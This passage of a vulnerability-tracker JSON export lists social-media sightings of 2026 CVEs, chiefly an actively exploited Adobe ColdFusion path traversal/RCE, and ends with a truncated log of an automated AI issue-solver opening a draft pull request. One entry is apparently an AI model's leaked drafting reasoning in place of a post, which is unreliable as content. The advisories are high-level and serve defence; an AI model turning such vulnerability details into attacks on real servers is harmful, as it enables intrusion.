"CVE-2026-48442", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3msyamp2f2i2t", "content": "CVE-2026-48442 - Path traversal in CAI Content Credentials allows arbitrary file system read. CVSS 7.1. No user interaction needed. Patch status unknown. Update immediately. #CVE #infosec #CAI\n\nhttps://www.valtersit.com/cve/CVE-2026-48442/", "creation_timestamp": "2026-08-13T18:12:25.240072Z"}, {"uuid": "5dbe0b51-1a19-4b49-8686-27a35f1753ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48442", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117089549997142503", "content": "CVE-2026-48442 - Path traversal in CAI Content Credentials allows arbitrary file system read. CVSS 7.1. No user interaction needed. Patch status unknown. Update immediately. #CVE #infosec #CAI\nhttps://www.valtersit.com/cve/CVE-2026-48442/", "creation_timestamp": "2026-08-13T18:13:27.743822Z"}, {"uuid": "cacc84dd-0d58-4bfc-b9f4-22a607a09ca0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48333", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mshvc7wq2u25", "content": "\ud83d\udccc CVE-2026-48333 - Adobe Campaign Classic (ACC) is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could expl... https://www.cyberhub.blog/cves/CVE-2026-48333", "creation_timestamp": "2026-08-07T06:07:06.756593Z"}, {"uuid": "124fe425-9a23-4432-908b-10af1fb8af7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mqejitu63x2x", "content": "Four new CVEs added to CISA's KEV catalog in one day. That's not a coincidence.\n\nCVE-2026-48282 in Adobe.\n\nhttps://www.yazoul.net/news/article/cisa-adds-4-actively-exploited-adobe-joomla-and-langflow-flaws-to-kev/\n\n#InfoSec #DataBreach", "creation_timestamp": "2026-07-11T11:07:41.223177Z"}, {"uuid": "dc518bfa-a5e0-4f8b-9c49-8d3cb49ceb2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/thecybermind.co/post/3mqesxd7uet2k", "content": "Executive Alert: Adobe ColdFusion CVE-2026-48282 allows path traversal attacks, creating significant security gaps. Our latest CSUITE Brief details the governance and hardening required to protect your enterprise. https://thecybermind.co/t3pk\n\n#CyberSecurity #ColdFusion #InfoSec #BoardGovernance", "creation_timestamp": "2026-07-11T13:56:52.809166Z"}, {"uuid": "48f0fcc0-bda9-41ef-aa0f-93c8d983516c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/hookprobe.com/post/3mqezvqtalx2d", "content": "Okay, let's tackle this. The user wants a Bluesky post for their cybersecurity blog article about CVE-2026-48558 and how HookProbe detects it. The requirements are pretty specific: max 270 characters, start with a hook, 1-2 hashtags, technical but for small businesses and lean I", "creation_timestamp": "2026-07-11T16:01:20.180695Z"}, {"uuid": "8137817f-cf4a-485c-84a5-c0b733557e12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116902589664579724", "content": "\ud83d\udcf0 Patch Now: Critical Adobe ColdFusion RCE Flaw (CVE-2026-48282) Under Active Exploitation\n\ud83d\udea8 CRITICAL FLAW: Adobe ColdFusion vulnerability (CVE-2026-48282) with a 9.8 CVSS score is being actively exploited. Unauthenticated RCE allows full server takeover. Patch immediately! #Adobe #ColdFusion #CyberSecurity #RCE\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/critical-adobe-coldfusion-flaw-actively-exploited-in-the-wild/?utm_source=mastodon&utm_mediu\u2026", "creation_timestamp": "2026-07-11T17:45:57.926811Z"}, {"uuid": "81783ce2-b5b7-4f4c-8cdd-a5230bae2866", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mqf7s2lgw52h", "content": "\ud83d\udea8 CRITICAL FLAW: Adobe ColdFusion vulnerability (CVE-2026-48282) with a 9.8 CVSS score is being actively exploited. Unauthenticated RCE allows full server takeover. Patch immediately! #Adobe #ColdFusion #CyberSecurity #RCE\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-07-11T17:46:32.546836Z"}, {"uuid": "dee4a3a0-3ba0-43c8-81ca-a4384844b53d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/trinacriatech.bsky.social/post/3mqft2hbv7c26", "content": "ColdFusion path traversal pre-auth su RDS FILEIO (CVE-2026-48282, CVSS 10.0) in active exploitation: honeypot colpiti <2h dal disclosure pubblico. In CISA KEV. Patch: CF2025 U10 / CF2023 U21. Se esposto, hunt per webshell in /CFIDE/ e web root. #ColdFusion #KEV", "creation_timestamp": "2026-07-11T23:31:16.268503Z"}, {"uuid": "14f6677b-1813-4978-b7a3-49d837716662", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48779", "type": "seen", "source": "https://gist.github.com/konard/c502a0c4b546be33927f66cbcd478218", "content": "# Solve.mjs Log - 2026-07-12T04:01:22.891Z\n\n[2026-07-12T04:01:22.896Z] [INFO] \ud83d\udcc1 Log file: /home/box/solve-2026-07-12T04-01-22-890Z.log\n[2026-07-12T04:01:22.900Z] [INFO]    (All output will be logged here)\n[2026-07-12T04:01:28.161Z] [INFO] \n[2026-07-12T04:01:28.165Z] [INFO] \ud83d\ude80 solve v2.4.1\n[2026-07-12T04:01:28.169Z] [INFO] \ud83d\udd27 Raw command executed:\n[2026-07-12T04:01:28.176Z] [INFO]    /home/box/.nvm/versions/node/v20.20.2/bin/node /home/box/.bun/bin/solve https://github.com/link-foundation/meta-ontology/issues/5 --think medium --tool codex --attach-logs --verbose --no-tool-check --disable-report-issue --language en\n[2026-07-12T04:01:28.178Z] [INFO] \n[2026-07-12T04:01:28.657Z] [INFO] \ud83e\udded Execution context: docker container (indicators: /.dockerenv) \u2014 per-task disk usage is scoped to this container.\n[2026-07-12T04:01:28.662Z] [INFO] \ud83d\udcc8 Resource usage (solve start):\n[2026-07-12T04:01:28.662Z] [INFO]    CPU load: 2.91 3.47 3.53 (6 CPUs)\n[2026-07-12T04:01:28.662Z] [INFO]    Memory: 9.8 GB available / 11.7 GB total (1.9 GB used)\n[2026-07-12T04:01:28.662Z] [INFO]    Process RSS: 88 MB, heap 19 MB\n[2026-07-12T04:01:28.662Z] [INFO]    Disk (/): 145.8 GB available / 192.7 GB total (24.3% used)\n[2026-07-12T04:01:28.662Z] [INFO] \ud83d\udcc8 [RESOURCES] phase=solve_start ts=2026-07-12T04%3A01%3A28.660Z load1=2.91 load5=3.47 load15=3.53 cpuCount=6 memTotalBytes=12541489152 memAvailableBytes=10550054912 memUsedBytes=1991434240 processRssBytes=92028928 diskPath=%2F diskTotalBytes=206900281344 diskAvailableBytes=156592533504 diskUsedBytes=50290970624 diskUsedPercent=24.306864300674576 mem=9.8%20GB%20available%20%2F%2011.7%20GB%20total disk=145.8%20GB%20available%20%2F%20192.7%20GB%20total\n[2026-07-12T04:01:29.938Z] [INFO] \n[2026-07-12T04:01:29.939Z] [WARNING] \u26a0\ufe0f  SECURITY WARNING: --attach-logs is ENABLED\n[2026-07-12T04:01:29.941Z] [INFO] \n[2026-07-12T04:01:29.942Z] [INFO]    This option will upload the complete solution draft log file to the Pull Request.\n[2026-07-12T04:01:29.943Z] [INFO]    The log may contain sensitive information such as:\n[2026-07-12T04:01:29.944Z] [INFO]    \u2022 API keys, tokens, or secrets\n[2026-07-12T04:01:29.947Z] [INFO]    \u2022 File paths and directory structures\n[2026-07-12T04:01:29.949Z] [INFO]    \u2022 Command outputs and error messages\n[2026-07-12T04:01:29.950Z] [INFO]    \u2022 Internal system information\n[2026-07-12T04:01:29.952Z] [INFO] \n[2026-07-12T04:01:29.955Z] [INFO]    \u26a0\ufe0f  DO NOT use this option with public repositories or if the log\n[2026-07-12T04:01:29.958Z] [INFO]        might contain sensitive data that should not be shared publicly.\n[2026-07-12T04:01:29.960Z] [INFO] \n[2026-07-12T04:01:29.962Z] [INFO]    Continuing in 5 seconds... (Press Ctrl+C to abort)\n[2026-07-12T04:01:29.964Z] [INFO] \n[2026-07-12T04:01:29.967Z] [STDOUT] \n   Countdown: 5 seconds remaining...\n[2026-07-12T04:01:30.969Z] [STDOUT] \n   Countdown: 4 seconds remaining...\n[2026-07-12T04:01:31.972Z] [STDOUT] \n   Countdown: 3 seconds remaining...\n[2026-07-12T04:01:32.974Z] [STDOUT] \n   Countdown: 2 seconds remaining...\n[2026-07-12T04:01:33.976Z] [STDOUT] \n   Countdown: 1 seconds remaining...\n[2026-07-12T04:01:34.977Z] [STDOUT] \n   Proceeding with log attachment enabled.                    \n[2026-07-12T04:01:34.978Z] [INFO] \n[2026-07-12T04:01:35.373Z] [INFO] \ud83d\udcbe Disk space check: 149325MB available (10240MB required) \u2705\n[2026-07-12T04:01:35.386Z] [INFO] \ud83e\udde0 Memory check: 10415MB available, swap: 4095MB (202MB used), total: 14308MB (256MB required) \u2705\n[2026-07-12T04:01:35.475Z] [INFO] \u23e9 Skipping tool connection validation (dry-run mode or skip-tool-connection-check enabled)\n[2026-07-12T04:01:35.477Z] [INFO] \u23e9 Skipping GitHub authentication check (dry-run mode or skip-tool-connection-check enabled)\n[2026-07-12T04:01:35.480Z] [INFO] \ud83c\udfad Checking Playwright MCP preflight for Codex...\n[2026-07-12T04:01:35.749Z] [STDOUT] Name        Command  Args                                                                                                            Env  Cwd  Status   Auth       \nplaywright  npx      -y @playwright/mcp@latest --isolated --headless --no-sandbox --timeout-action=600000 --viewport-size 1920x1080  -    -    enabled  Unsupported\n[2026-07-12T04:01:35.780Z] [INFO] \ud83c\udfad Playwright MCP probe: 'mcp list' exit=0, playwright rows=1 [playwright  npx      -y @playwright/mcp@latest --isolated --headless --no-sandbox --timeout-action=600000 --viewport-size 1920x1080  -    -    enabled  Unsupported]\n[2026-07-12T04:01:35.782Z] [INFO] \ud83c\udfad Playwright MCP reported as connected by mcp list\n[2026-07-12T04:01:35.783Z] [INFO] \ud83c\udfad Playwright MCP ready for Codex\n[2026-07-12T04:01:35.785Z] [INFO] \ud83d\udccb URL validation:\n[2026-07-12T04:01:35.786Z] [INFO]    Input URL: https://github.com/link-foundation/meta-ontology/issues/5\n[2026-07-12T04:01:35.787Z] [INFO]    Is Issue URL: true\n[2026-07-12T04:01:35.789Z] [INFO]    Is PR URL: false\n[2026-07-12T04:01:35.791Z] [INFO] \ud83d\udd0d --auto-accept-invite: Checking for pending invitation to link-foundation/meta-ontology...\n[2026-07-12T04:01:36.508Z] [INFO]    Found 11 total pending repo invitation(s)\n[2026-07-12T04:01:36.510Z] [INFO]    No pending repository invitation found for link-foundation/meta-ontology\n[2026-07-12T04:01:37.042Z] [INFO]    Found 0 total pending org invitation(s)\n[2026-07-12T04:01:37.044Z] [INFO]    No pending organization invitation found for link-foundation\n[2026-07-12T04:01:37.046Z] [INFO] \u2139\ufe0f  --auto-accept-invite: No pending invitation found for link-foundation/meta-ontology or organization link-foundation\n[2026-07-12T04:01:37.051Z] [INFO] \ud83d\udd0d Checking repository access for auto-fork...\n[2026-07-12T04:01:37.631Z] [STDOUT] {\"admin\":true,\"maintain\":true,\"pull\":true,\"push\":true,\"triage\":true}\n[2026-07-12T04:01:38.149Z] [STDOUT] public\n[2026-07-12T04:01:38.171Z] [INFO]    Repository visibility: public\n[2026-07-12T04:01:38.178Z] [INFO] \u2705 Auto-fork: Write access detected to public repository, working directly on repository\n[2026-07-12T04:01:38.184Z] [INFO] \ud83d\udd0d Checking repository write permissions...\n[2026-07-12T04:01:38.762Z] [STDOUT] {\"admin\":true,\"maintain\":true,\"pull\":true,\"push\":true,\"triage\":true}\n[2026-07-12T04:01:38.778Z] [INFO] \u2705 Repository write access: Confirmed\n[2026-07-12T04:01:39.305Z] [STDOUT] link-foundation\n[2026-07-12T04:01:40.567Z] [STDOUT] link-foundation/meta-ontology\n[2026-07-12T04:01:41.046Z] [STDOUT] {\"number\":5,\"title\":\"We should use best practices from https://github.com/open-metadata/OpenMetadata\"}\n[2026-07-12T04:01:42.084Z] [STDOUT] public\n[2026-07-12T04:01:42.104Z] [INFO]    Repository visibility: public\n[2026-07-12T04:01:42.105Z] [INFO]    Auto-cleanup default: false (repository is public)\n[2026-07-12T04:01:42.111Z] [INFO] \ud83d\udd0d Auto-continue enabled: Checking for existing PRs for issue #5...\n[2026-07-12T04:01:42.113Z] [INFO] \ud83d\udd0d Checking for existing branches in link-foundation/meta-ontology...\n[2026-07-12T04:01:42.598Z] [STDOUT] gh-pages\nissue-1-37a4eab13fe1\nissue-3-296ff7e963a4\nmain\n[2026-07-12T04:01:43.681Z] [STDOUT] []\n[2026-07-12T04:01:44.336Z] [STDOUT] []\n[2026-07-12T04:01:44.362Z] [INFO] \ud83d\udcdd No existing PRs found for issue #5 - creating new PR\n[2026-07-12T04:01:44.383Z] [INFO] \ud83d\udcdd Issue mode: Working with issue #5\n[2026-07-12T04:01:44.397Z] [INFO] \n[2026-07-12T04:01:44.397Z] [INFO] Creating temporary directory: /tmp/gh-issue-solver-1783828904396\n[2026-07-12T04:01:44.408Z] [INFO] \n[2026-07-12T04:01:44.408Z] [INFO] \ud83d\udce5 Cloning repository:       link-foundation/meta-ontology\n[2026-07-12T04:01:45.037Z] [STDOUT] Cloning into '/tmp/gh-issue-solver-1783828904396'...\n[2026-07-12T04:01:46.142Z] [STDOUT] true\n[2026-07-12T04:01:46.144Z] [INFO] \u2705 Cloned to:                /tmp/gh-issue-solver-1783828904396\n[2026-07-12T04:01:46.172Z] [STDOUT] origin\thttps://github.com/link-foundation/meta-ontology.git (fetch)\norigin\thttps://github.com/link-foundation/meta-ontology.git (push)\n[2026-07-12T04:01:46.291Z] [STDOUT] failed to set up git credential helper: failed to run git: error: could not write config file /home/box/.gitconfig: Device or resource busy\n\n[2026-07-12T04:01:46.302Z] [INFO] Note: gh auth setup-git had issues, continuing anyway\n[2026-07-12T04:01:46.302Z] [INFO] \n[2026-07-12T04:01:46.315Z] [INFO] \n[2026-07-12T04:01:46.315Z] [INFO] \ud83d\udcca [DISK] phase=after_clone bytes=3411951 path=/tmp/gh-issue-solver-1783828904396 size=3 MB\n[2026-07-12T04:01:46.318Z] [INFO] \ud83d\udcc8 Resource usage (after repository clone):\n[2026-07-12T04:01:46.318Z] [INFO]    CPU load: 2.41 3.33 3.48 (6 CPUs)\n[2026-07-12T04:01:46.318Z] [INFO]    Memory: 9.9 GB available / 11.7 GB total (1.8 GB used)\n[2026-07-12T04:01:46.318Z] [INFO]    Process RSS: 88 MB, heap 21 MB\n[2026-07-12T04:01:46.318Z] [INFO]    Disk (/): 145.8 GB available / 192.7 GB total (24.3% used)\n[2026-07-12T04:01:46.318Z] [INFO] \ud83d\udcc8 [RESOURCES] phase=after_clone ts=2026-07-12T04%3A01%3A46.316Z load1=2.41 load5=3.33 load15=3.48 cpuCount=6 memTotalBytes=12541489152 memAvailableBytes=10625040384 memUsedBytes=1916448768 processRssBytes=91979776 diskPath=%2F diskTotalBytes=206900281344 diskAvailableBytes=156578422784 diskUsedBytes=50305081344 diskUsedPercent=24.31368435906616 mem=9.9%20GB%20available%20%2F%2011.7%20GB%20total disk=145.8%20GB%20available%20%2F%20192.7%20GB%20total\n[2026-07-12T04:01:46.377Z] [STDOUT] main\n[2026-07-12T04:01:46.404Z] [STDOUT] 04e**********************************70b\n[2026-07-12T04:01:46.412Z] [INFO] \n[2026-07-12T04:01:46.412Z] [INFO] \ud83d\udccc Default branch:           main\n[2026-07-12T04:01:46.454Z] [INFO] \n[2026-07-12T04:01:46.454Z] [INFO] \ud83c\udf3f Creating branch:          issue-5-e2602184e2c5 from main (default)\n[2026-07-12T04:01:46.488Z] [STDERR] Switched to a new branch 'issue-5-e2602184e2c5'\n[2026-07-12T04:01:46.489Z] [STDOUT] branch 'issue-5-e2602184e2c5' set up to track 'origin/main'.\n[2026-07-12T04:01:46.491Z] [INFO] \ud83d\udd0d Verifying:                Branch creation...\n[2026-07-12T04:01:46.510Z] [STDOUT] issue-5-e2602184e2c5\n[2026-07-12T04:01:46.511Z] [INFO] \u2705 Branch created:           issue-5-e2602184e2c5\n[2026-07-12T04:01:46.512Z] [INFO] \u2705 Current branch:           issue-5-e2602184e2c5\n[2026-07-12T04:01:46.513Z] [INFO]    Branch operation: Create new branch\n[2026-07-12T04:01:46.515Z] [INFO]    Branch verification: Matches expected\n[2026-07-12T04:01:46.521Z] [INFO] \n[2026-07-12T04:01:46.521Z] [INFO] \ud83d\ude80 Auto PR creation:         ENABLED\n[2026-07-12T04:01:46.522Z] [INFO]      Creating:               Initial commit and draft PR...\n[2026-07-12T04:01:46.523Z] [INFO] \n[2026-07-12T04:01:46.525Z] [INFO]    Using .gitkeep mode (--claude-file=false, --gitkeep-file=true, --auto-gitkeep-file=true)\n[2026-07-12T04:01:46.527Z] [INFO] \ud83d\udcdd Creating:                 .gitkeep (default)\n[2026-07-12T04:01:46.530Z] [INFO]    Issue URL from argv['issue-url']: https://github.com/link-foundation/meta-ontology/issues/5\n[2026-07-12T04:01:46.532Z] [INFO]    Issue URL from argv._[0]: https://github.com/link-foundation/meta-ontology/issues/5\n[2026-07-12T04:01:46.534Z] [INFO]    Final issue URL: https://github.com/link-foundation/meta-ontology/issues/5\n[2026-07-12T04:01:46.539Z] [INFO] \u2705 File created:             .gitkeep\n[2026-07-12T04:01:46.540Z] [INFO] \ud83d\udce6 Adding file:              To git staging\n[2026-07-12T04:01:46.619Z] [STDOUT] A  .gitkeep\n[2026-07-12T04:01:46.620Z] [INFO]    Git status after add: A  .gitkeep\n[2026-07-12T04:01:46.622Z] [INFO] \ud83d\udcdd Creating commit:          With .gitkeep file\n[2026-07-12T04:01:46.668Z] [STDOUT] [issue-5-e2602184e2c5 e4aaa28] Initial commit with task details\n 1 file changed, 1 insertion(+)\n create mode 100644 .gitkeep\n[2026-07-12T04:01:46.673Z] [INFO] \u2705 Commit created:           Successfully with .gitkeep\n[2026-07-12T04:01:46.674Z] [INFO]    Commit output: [issue-5-e2602184e2c5 e4aaa28] Initial commit with task details\n[2026-07-12T04:01:46.674Z] [INFO]  1 file changed, 1 insertion(+)\n[2026-07-12T04:01:46.674Z] [INFO]  create mode 100644 .gitkeep\n[2026-07-12T04:01:46.714Z] [STDOUT] e4a**********************************43d\n[2026-07-12T04:01:46.716Z] [INFO]    Commit hash: e4aaa28...\n[2026-07-12T04:01:46.746Z] [STDOUT] e4aaa28 Initial commit with task details\n[2026-07-12T04:01:46.754Z] [INFO]    Latest commit: e4aaa28 Initial commit with task details\n[2026-07-12T04:01:46.783Z] [INFO]    Git status: clean\n[2026-07-12T04:01:46.802Z] [STDOUT] origin\thttps://github.com/link-foundation/meta-ontology.git (fetch)\norigin\thttps://github.com/link-foundation/meta-ontology.git (push)\n[2026-07-12T04:01:46.804Z] [INFO]    Remotes: origin\thttps://github.com/link-foundation/meta-ontology.git (fetch)\n[2026-07-12T04:01:46.821Z] [STDOUT] * issue-5-e2602184e2c5 e4aaa28 [origin/main: ahead 1] Initial commit with task details\n  main                 04e732e [origin/main] chore: release v0.8.0\n[2026-07-12T04:01:46.827Z] [INFO]    Branch info: * issue-5-e2602184e2c5 e4aaa28 [origin/main: ahead 1] Initial commit with task details\n[2026-07-12T04:01:46.827Z] [INFO]   main                 04e732e [origin/main] chore: release v0.8.0\n[2026-07-12T04:01:46.829Z] [INFO] \ud83d\udce4 Pushing branch:           To remote repository...\n[2026-07-12T04:01:46.835Z] [INFO]    Push command: git push -u origin issue-5-e2602184e2c5\n[2026-07-12T04:01:48.507Z] [STDOUT] remote: \nremote: Create a pull request for 'issue-5-e2602184e2c5' on GitHub by visiting:        \nremote:      https://github.com/link-foundation/meta-ontology/pull/new/issue-5-e2602184e2c5        \nremote: \n[2026-07-12T04:01:48.511Z] [STDOUT] To https://github.com/link-foundation/meta-ontology.git\n * [new branch]      issue-5-e2602184e2c5 -> issue-5-e2602184e2c5\n[2026-07-12T04:01:48.526Z] [STDOUT] branch 'issue-5-e2602184e2c5' set up to track 'origin/issue-5-e2602184e2c5'.\n[2026-07-12T04:01:48.528Z] [INFO]    Push exit code: 0\n[2026-07-12T04:01:48.533Z] [INFO]    Push output: remote: \n[2026-07-12T04:01:48.533Z] [INFO] remote: Create a pull request for 'issue-5-e2602184e2c5' on GitHub by visiting:        \n[2026-07-12T04:01:48.533Z] [INFO] remote:      https://github.com/link-foundation/meta-ontology/pull/new/issue-5-e2602184e2c5        \n[2026-07-12T04:01:48.533Z] [INFO] remote: \n[2026-07-12T04:01:48.533Z] [INFO] To https://github.com/link-foundation/meta-ontology.git\n[2026-07-12T04:01:48.533Z] [INFO]  * [new branch]      issue-5-e2602184e2c5 -> issue-5-e2602184e2c5\n[2026-07-12T04:01:48.533Z] [INFO] branch 'issue-5-e2602184e2c5' set up to track 'origin/issue-5-e2602184e2c5'.\n[2026-07-12T04:01:48.536Z] [INFO] \u2705 Branch pushed:            Successfully to remote\n[2026-07-12T04:01:48.542Z] [INFO]    Push output: remote: \n[2026-07-12T04:01:48.542Z] [INFO] remote: Create a pull request for 'issue-5-e2602184e2c5' on GitHub by visiting:        \n[2026-07-12T04:01:48.542Z] [INFO] remote:      https://github.com/link-foundation/meta-ontology/pull/new/issue-5-e2602184e2c5        \n[2026-07-12T04:01:48.542Z] [INFO] remote: \n[2026-07-12T04:01:48.542Z] [INFO] To https://github.com/link-foundation/meta-ontology.git\n[2026-07-12T04:01:48.542Z] [INFO]  * [new branch]      issue-5-e2602184e2c5 -> issue-5-e2602184e2c5\n[2026-07-12T04:01:48.542Z] [INFO] branch 'issue-5-e2602184e2c5' set up to track 'origin/issue-5-e2602184e2c5'.\n[2026-07-12T04:01:48.546Z] [INFO]    Waiting for GitHub to sync...\n[2026-07-12T04:01:51.189Z] [STDOUT] 1\n[2026-07-12T04:01:51.219Z] [INFO]    Compare API check: 1 commit(s) ahead of main\n[2026-07-12T04:01:51.220Z] [INFO]    GitHub compare API ready: 1 commit(s) found\n[2026-07-12T04:01:51.767Z] [STDOUT] issue-5-e2602184e2c5\n[2026-07-12T04:01:51.777Z] [INFO]    Branch verified on GitHub: issue-5-e2602184e2c5\n[2026-07-12T04:01:52.325Z] [STDOUT] e4a**********************************43d\n[2026-07-12T04:01:52.333Z] [INFO]    Remote commit SHA: e4aaa28...\n[2026-07-12T04:01:52.334Z] [INFO] \ud83d\udccb Getting issue:            Title from GitHub...\n[2026-07-12T04:01:52.967Z] [STDOUT] We should use best practices from https://github.com/open-metadata/OpenMetadata\n[2026-07-12T04:01:53.004Z] [INFO]    Issue title: \"We should use best practices from https://github.com/open-metadata/OpenMetadata\"\n[2026-07-12T04:01:53.019Z] [INFO] \ud83d\udc64 Getting user:             Current GitHub account...\n[2026-07-12T04:01:53.894Z] [STDOUT] konard\n[2026-07-12T04:01:53.975Z] [INFO]    Current user: konard\n[2026-07-12T04:01:54.759Z] [INFO]    User has collaborator access\n[2026-07-12T04:01:54.761Z] [INFO]    User has collaborator access\n[2026-07-12T04:01:54.765Z] [INFO] \ud83d\udd04 Fetching:                 Latest main branch...\n[2026-07-12T04:01:55.296Z] [INFO] \u2705 Base updated:             Fetched latest main\n[2026-07-12T04:01:55.297Z] [INFO] \ud83d\udd0d Checking:                 Commits between branches...\n[2026-07-12T04:01:55.337Z] [STDOUT] 1\n[2026-07-12T04:01:55.338Z] [INFO]    Commits ahead of origin/main: 1\n[2026-07-12T04:01:55.339Z] [INFO] \u2705 Commits found:            1 commit(s) ahead\n[2026-07-12T04:01:55.342Z] [INFO] \ud83d\udd00 Creating PR:              Draft pull request...\n[2026-07-12T04:01:55.343Z] [INFO] \ud83c\udfaf Target branch:            main (default)\n[2026-07-12T04:01:55.343Z] [INFO]    PR Title: [WIP] We should use best practices from https://github.com/open-metadata/OpenMetadata\n[2026-07-12T04:01:55.344Z] [INFO]    Base branch: main\n[2026-07-12T04:01:55.346Z] [INFO]    Head branch: issue-5-e2602184e2c5\n[2026-07-12T04:01:55.347Z] [INFO]    Assignee: konard\n[2026-07-12T04:01:55.347Z] [INFO]    PR Body:\n[2026-07-12T04:01:55.347Z] [INFO] ## \ud83e\udd16 AI-Powered Solution Draft\n[2026-07-12T04:01:55.347Z] [INFO] \n[2026-07-12T04:01:55.347Z] [INFO] This pull request is being automatically generated to solve issue #5.\n[2026-07-12T04:01:55.347Z] [INFO] \n[2026-07-12T04:01:55.347Z] [INFO] ### \ud83d\udccb Issue Reference\n[2026-07-12T04:01:55.347Z] [INFO] Fixes #5\n[2026-07-12T04:01:55.347Z] [INFO] \n[2026-07-12T04:01:55.347Z] [INFO] ### \ud83d\udea7 Status\n[2026-07-12T04:01:55.347Z] [INFO] **Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\n[2026-07-12T04:01:55.347Z] [INFO] \n[2026-07-12T04:01:55.347Z] [INFO] ### \ud83d\udcdd Implementation Details\n[2026-07-12T04:01:55.347Z] [INFO] _Details will be added as the solution draft is developed..._\n[2026-07-12T04:01:55.347Z] [INFO] \n[2026-07-12T04:01:55.347Z] [INFO] ---\n[2026-07-12T04:01:55.347Z] [INFO] *This PR was created automatically by the AI issue solver*\n[2026-07-12T04:01:55.350Z] [INFO]    Command: cd \"/tmp/gh-issue-solver-1783828904396\" && gh pr create --draft --title \"$(cat '/tmp/pr-title-1783828915349.txt')\" --body-file \"/tmp/pr-body-1783828915348.md\" --base main --head issue-5-e2602184e2c5 --repo link-foundation/meta-ontology --assignee konard\n[2026-07-12T04:01:58.333Z] [INFO]    gh pr create stdout: https://github.com/link-foundation/meta-ontology/pull/6\n[2026-07-12T04:01:58.336Z] [INFO] \ud83d\udd0d Verifying:                PR creation...\n[2026-07-12T04:02:00.882Z] [STDOUT] {\"number\":6,\"state\":\"OPEN\",\"url\":\"https://github.com/link-foundation/meta-ontology/pull/6\"}\n[2026-07-12T04:02:00.893Z] [INFO] \u2705 Verification:             PR exists on GitHub (attempt 1/5)\n[2026-07-12T04:02:00.895Z] [INFO] \u2705 PR created:               #6\n[2026-07-12T04:02:00.896Z] [INFO] \ud83d\udccd PR URL:                   https://github.com/link-foundation/meta-ontology/pull/6\n[2026-07-12T04:02:00.897Z] [INFO] \ud83d\udc64 Assigned to:              konard\n[2026-07-12T04:02:00.898Z] [INFO] \ud83d\udd17 Linking:                  Issue #5 to PR #6...\n[2026-07-12T04:02:01.352Z] [STDOUT] I_kwDOSNlfVs8AAAABBB4huQ\n[2026-07-12T04:02:01.369Z] [INFO]    Issue node ID: I_kwDOSNlfVs8AAAABBB4huQ\n[2026-07-12T04:02:02.327Z] [STDOUT] PR_kwDOSNlfVs7wrEJ6\n[2026-07-12T04:02:02.336Z] [INFO]    PR node ID: PR_kwDOSNlfVs7wrEJ6\n[2026-07-12T04:02:03.300Z] [STDOUT] 5\n[2026-07-12T04:02:03.311Z] [INFO] \u2705 Link verified:            Issue #5 \u2192 PR #6\n[2026-07-12T04:02:04.274Z] [STDOUT] konard\n[2026-07-12T04:02:04.290Z] [INFO]   \ud83d\udc64 Current user:           konard\n[2026-07-12T04:02:04.294Z] [INFO] \n[2026-07-12T04:02:04.294Z] [INFO] \ud83d\udcca Comment counting conditions:\n[2026-07-12T04:02:04.299Z] [INFO]    prNumber: 6\n[2026-07-12T04:02:04.303Z] [INFO]    branchName: issue-5-e2602184e2c5\n[2026-07-12T04:02:04.305Z] [INFO]    isContinueMode: false\n[2026-07-12T04:02:04.307Z] [INFO]    Will count comments: true\n[2026-07-12T04:02:04.317Z] [INFO] \ud83d\udcac Counting comments:        Checking for new comments since last commit...\n[2026-07-12T04:02:04.328Z] [INFO]    PR #6 on branch: issue-5-e2602184e2c5\n[2026-07-12T04:02:04.340Z] [INFO]    Owner/Repo: link-foundation/meta-ontology\n[2026-07-12T04:02:04.351Z] [INFO]    Repository path: /tmp/gh-issue-solver-1783828904396\n[2026-07-12T04:02:04.402Z] [STDOUT] 2026-07-12T04:01:46+00:00\n[2026-07-12T04:02:04.410Z] [INFO]   \ud83d\udcc5 Last commit time:       2026-07-12T04:01:46.000Z\n[2026-07-12T04:02:04.891Z] [STDOUT] []\n[2026-07-12T04:02:05.392Z] [STDOUT] []\n[2026-07-12T04:02:05.966Z] [STDOUT] []\n[2026-07-12T04:02:06.008Z] [INFO]   \ud83d\udcac New PR comments:        0\n[2026-07-12T04:02:06.014Z] [INFO]   \ud83d\udcac New PR review comments: 0\n[2026-07-12T04:02:06.029Z] [INFO]   \ud83d\udcac New issue comments:     